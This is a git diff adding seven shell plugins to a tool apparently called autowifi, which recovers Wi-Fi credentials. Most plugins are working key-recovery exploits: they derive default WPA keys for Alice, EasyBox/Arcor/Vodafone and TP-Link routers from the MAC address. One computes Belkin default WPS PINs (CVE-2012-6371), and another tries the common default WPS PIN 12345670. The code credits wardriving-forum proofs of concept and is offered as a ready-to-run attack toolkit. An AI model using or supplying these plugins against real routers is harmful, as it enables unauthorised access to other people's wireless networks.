7 files changed, 149 insertions, 0 deletions
diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile
new file mode 100755
index 00000000..d7fb9c75
--- /dev/null
+++ b/usr/lib/autowifi/plugins/00profile
@@ -0,0 +1,11 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+# ENV:
+#   root (default: /)
+root=${root:-/}
+cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do
+    if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then
+        echo $KEY
+        exit 0
+    fi
+done; exit 1)
diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open
new file mode 100755
index 00000000..881f47ea
--- /dev/null
+++ b/usr/lib/autowifi/plugins/01open
@@ -0,0 +1,6 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION 
+if [ "$4" == "[ESS]" ]; then
+    exit 0
+fi
+exit 1
diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice
new file mode 100755
index 00000000..1b4533a4
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from 
+#    http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION 
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) 
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0
diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox
new file mode 100755
index 00000000..3d7cb8c1
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02easybox
@@ -0,0 +1,37 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+parse_plugin_args "$@"
+
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
+    echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" 
+    exit 1
+else
+
+    # Fill up to 4 places with zeros, if necessary:
+    deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
+    #
+    # The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
+    hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
+    #echo 'M4 (Hex): ' ${hexi[@]}
+    # K1 = last byte of (d0 + d1 + h2 + h3)
+    # K2 = last byte of (h0 + h1 + d2 + d3)
+    c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1})
+    c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1})
+    K1=$((($c1)%16))
+    K2=$((($c2)%16))
+    #printf "K1: %x\n" $K1
+    #printf "K2: %x\n" $K2
+    X1=$((K1^${deci:6:1}))
+    X2=$((K1^${deci:4:1}))
+    X3=$((K1^${deci:2:1}))
+    Y1=$((K2^0x${hexi:2:1}))
+    Y2=$((K2^0x${hexi:4:1}))
+    Y3=$((K2^0x${hexi:6:1}))
+    Z1=$((0x${hexi:4:1}^${deci:6:1}))
+    Z2=$((0x${hexi:6:1}^${deci:4:1}))
+    Z3=$((K1^K2))
+    printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F
+fi
diff --git a/usr/lib/autowifi/plugins/02tplink b/usr/lib/autowifi/plugins/02tplink
new file mode 100755
index 00000000..b2b96f95
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02tplink
@@ -0,0 +1,17 @@
+#!/bin/sh
+# Implementation of TP-Link default WPA Key
+# Based on 
+#   http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1
+! echo $ESSID | egrep  -q '^tp' && echo "$ESSID not affected" && exit 1
+
+
+# printf always makes string to lower, need that for correct md5sum
+printf ${MAC:4:12} 
+exit 0
diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps
new file mode 100755
index 00000000..d4eb8e37
--- /dev/null
+++ b/usr/lib/autowifi/plugins/11belkin_wps
@@ -0,0 +1,40 @@
+#!/bin/sh
+# thanks to http://ednolo.alumnos.upv.es/?p=1295G
+# for the PoC code 
+# Calculates the default WPS pin of Belkin Routers and returns the WPA key
+#
+# Implementation of CVE-2012-6371
+
+# works :
+# Belkin_N+_XXXXXX   00:22:75:XX:XX:XX    F5D8235-4 v1000
+# belkin.XXX         00:1C:DF:XX:XX:XX    F5D8231-4 v5000
+# belkin.XXX         09:86:3B:XX:XX:XX    F9K1104   v1000
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+. ../lib/wps
+parse_plugin_args "$@"
+
+check_painmode
+
+! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1
+
+calc_belkin(){
+    PRIVATE_MAC=${1}
+
+    p=$((0x$PRIVATE_MAC % 10000000))
+    wps_pin_checksum(){
+        pin=$1
+        accum=0
+        while [ $pin -ne 0 ];do
+            accum=$((accum + (3 * (pin % 10)) ))
+            pin=$((pin/10))
+            accum=$((accum + pin %10 ))
+            pin=$((pin/10))
+        done
+        echo $(( (10 - accum % 10) % 10))
+    }
+    printf "%07d%d" $p $(wps_pin_checksum $p)
+    return 0
+}
+try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC})
diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps
new file mode 100755
index 00000000..50ad2676
--- /dev/null
+++ b/usr/lib/autowifi/plugins/30default_wps
@@ -0,0 +1,18 @@
+#!/bin/sh
+# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot
+# http://www.wotan.cc/?p=75
+cd $(dirname $(readlink -f $0))
+. ../lib/wps
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+check_painmode
+DEFAULT_PIN="${DEFAULT_PIN:-12345670}"
+
+if has_wps "$ENC"; then
+    echo "trying PIN $DEFAULT_PIN against $ESSID" >&2
+    try_wps_pin "$@" $DEFAULT_PIN
+else
+    echo "Network $ESSID not WPS enabled"
+    exit 1
+fi